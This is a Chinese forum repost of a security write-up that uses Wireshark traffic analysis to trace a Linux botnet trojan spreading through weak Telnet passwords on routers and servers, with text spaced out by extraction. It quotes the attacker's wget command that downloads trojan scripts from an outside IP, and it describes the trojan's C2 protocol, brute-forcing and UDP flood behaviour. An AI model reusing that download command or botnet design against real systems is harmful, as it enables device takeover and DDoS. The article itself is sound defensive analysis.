搜索

[21620] 2021-01-25_WireShark黑客发现之旅—针对路由器的Linux木马

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-01-25_WireShark黑客发现之旅—针对路由器的Linux木马 W i r e S h a r k 黑 客 发 现 之 旅 — 针 对 路 由 器 的 L i n u x 木 马 L e m o n S e c   2 0 2 1 - 0 1 - 2 5 A u t h o r ： ： M r . R i g h t 、 、 G o n g m o 申 明 ： 申 明 ： 文 中 提 到 的 攻 击 方 式 仅 为 曝 光 、 打 击 恶 意 网 络 攻 击 行 为 ， 切 勿 模 仿 ， 否 则 后 果 自 负 。 0 x 0 0   前 言 前 言 路 由 器 木 马 ， 其 主 要 目 标 是 控 制 网 络 的 核 心 路 由 设 备 ； 一 旦 攻 击 成 功 ， 其 危 害 性 远 大 于 一 台 主 机 被 控 。 如 果 仅 仅 在 路 由 器 上 面 防 范 该 类 木 马 ， 那 也 是 不 够 的 ， 有 很 多 L i n u x 服 务 器 违 规 开 放 T e l n e t 端 口 ， 且 使 用 了 弱 口 令 ， 一 样 可 以 中 招 。 下 面 我 们 就 一 起 来 回 顾 一 起 真 实 案 例 。 0 x 0 1   发 现 异 常 发 现 异 常 在 对 客 户 某 服 务 器 区 域 进 行 安 全 监 测 时 发 现 某 服 务 器 通 信 流 量 存 在 大 量 T e l n e t 协 议 。 截 取 一 段 数 据 ， 进 行 协 议 统 计 ： T e l n e t 协 议 一 般 为 路 由 器 管 理 协 议 ， 服 务 器 中 存 在 此 协 议 可 初 步 判 断 为 异 常 流 量 。 继 续 进 行 端 口 、 I P 走 向 统 计 ： 发 现 大 量 外 部 I P 通 过 T c p 2 3 端 口 （ T e l n e t ） 连 接 该 服 务 器 。 此 统 计 可 说 明 ： 1 .   该 服 务 器 违 规 开 放 了 T C P 2 3 端 口 ； 2 .   该 服 务 器 遭 到 大 量 T e l n e t 攻 击 ， 有 可 能 是 暴 力 破 解 ， 也 有 可 能 是 已 经 成 功 连 接 。 挑 选 通 信 量 较 大 的 I P ， 筛 选 通 信 双 向 数 据 ： 查 看 T e l n e t 数 据 ， 发 现 已 经 成 功 连 接 该 服 务 器 。 数 据 中 还 存 在 大 量 T e l n e t 扫 描 探 测 、 暴 力 破 解 攻 击 ， 在 此 不 再 详 述 。 0 x 0 2   获 取 样 本 获 取 样 本 为 进 一 步 查 看 T e l n e t 通 信 内 容 ， F o l l o w   T c p S t r e a m 。 将 内 容 复 制 粘 贴 至 文 本 编 辑 器 ： 发 现 一 段 自 动 下 载 命 令 ： 连 接 可 发 现 该 脚 本 文 件 内 容 为 自 动 下 载 获 取 木 马 ， 且 木 马 可 感 染 A R M 、 M I P S 、 X 8 6 、 P o w e r P C 等 架 构 的 设 备 。 # ! b a s h w g e t   h t t p : / / 2 0 8 . 6 7 . 1 . 4 2 / b i n . s h ; w g e t 1   h t t p : / / 2 0 8 . 6 7 . 1 . 4 2 / b i n 2 . s h 。 复 制 代 码 h t t p : / / 2 0 8 . 6 7 . 1 . 4 2 / b i n . s h
0 x 0 3   木 马 分 析 木 马 分 析 （ 注 ： 本 章 节 不 属 于 注 ： 本 章 节 不 属 于 W i r e s h a r k 分 析 范 畴 ， 本 文 仅 以 分 析 范 畴 ， 本 文 仅 以 j a c k m y x 8 6 分 析 为 例 分 析 为 例 ） 该 木 马 文 件 是 E L F 格 式 的 ， 影 响 的 操 作 系 统 包 括 ： 从 上 图 中 判 断 木 马 下 载 的 类 型 分 别 是 ： M i p s e l , m i s p , x 8 6 ( 其 实 这 个 是 x 6 4 ) , a r m , x 8 6 ( i 5 8 6 , i 6 8 6 ) 等 。 从 截 获 的 文 件 看 ， 脚 本 想 删 除 这 些 目 录 和 内 容 ， 并 且 关 闭 一 些 进 程 。 首 先 得 到 了 一 个 ” A r t   o f   w a r ” 的 字 符 串 （ 看 来 黑 客 是 个 文 艺 青 年 ） 。 接 着 尝 试 打 开 路 由 器 配 置 文 件 。 在 配 置 文 件 里 查 找 字 符 串 0 0 0 0 0 0 0 0 ， 如 果 找 到 就 直 接 填 充 0 ； 在 初 始 化 函 数 中 ： 尝 试 建 立 s o c k e t 连 接 ， 连 接 地 址 为 ： 2 0 8 . 6 7 . 1 . 1 9 4 : 1 6 4 。 尝 试 连 接 服 务 器 ， 等 待 远 端 服 务 器 应 答 。 服 务 器 发 送 “ p i n g ” 命 令 后 ， 客 户 端 返 回 “ p o n g ” 表 示 已 经 连 接 成 功 。 当 发 送 “ G E T L O C A L I P ” 后 ， 返 回 控 制 端 的 本 机 I P 。 当 服 务 器 发 送 S C A N N E R 后 ， 根 据 O N 或 者 O F F 来 控 制 是 否 要 扫 描 指 定 I P ， 进 行 暴 力 破 解 。 当 发 送 “ U D P ” 命 令 时 候 ， 向 指 定 的 I P 地 址 发 送 大 量 U D P 无 效 数 据 包 。 下 图 是 木 马 尝 试 获 得 路 由 器 的 用 户 名 和 密 码 匹 配 ， 企 图 暴 力 破 解 账 户 和 密 码 。 在 被 控 制 之 后 ， 跟 随 服 务 器 指 定 的 I P ， 发 送 大 量 随 机 生 成 的 长 度 为 0 x 4 0 0 的 字 符 串 数 据 ， 进 行 D D O S 攻 击 。 下 图 是 发 送 垃 圾 数 据 , 进 行 D D O S 攻 击 。 随 机 数 据 生 成 的 伪 代 码 如 下 ： 根 据 网 址 追 溯 到 攻 击 者 的 网 页 和 t w i t t e r 账 号 。 0 x 0 4   总 结 总 结 1 .   路 由 器 的 管 理 如 非 必 须 ， 尽 量 不 开 放 互 联 网 管 理 通 道 2 .   路 由 器 管 理 密 码 必 须 强 口 令 、 最 好 超 强 3 .   L i n u x 服 务 器 一 般 不 要 打 开 T e l n e t 服 务 4 .   该 木 马 一 般 利 用 爆 破 和 漏 洞 来 攻 击 路 由 器 或 开 启 T e l n e t 服 务 的 L i n u x 服 务 器 ， 中 招 后 接 受 木 马 作 者 的 控 制 ， 最 后 进 行 大 量 D D O S 攻 击 * . s h * . s h
一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理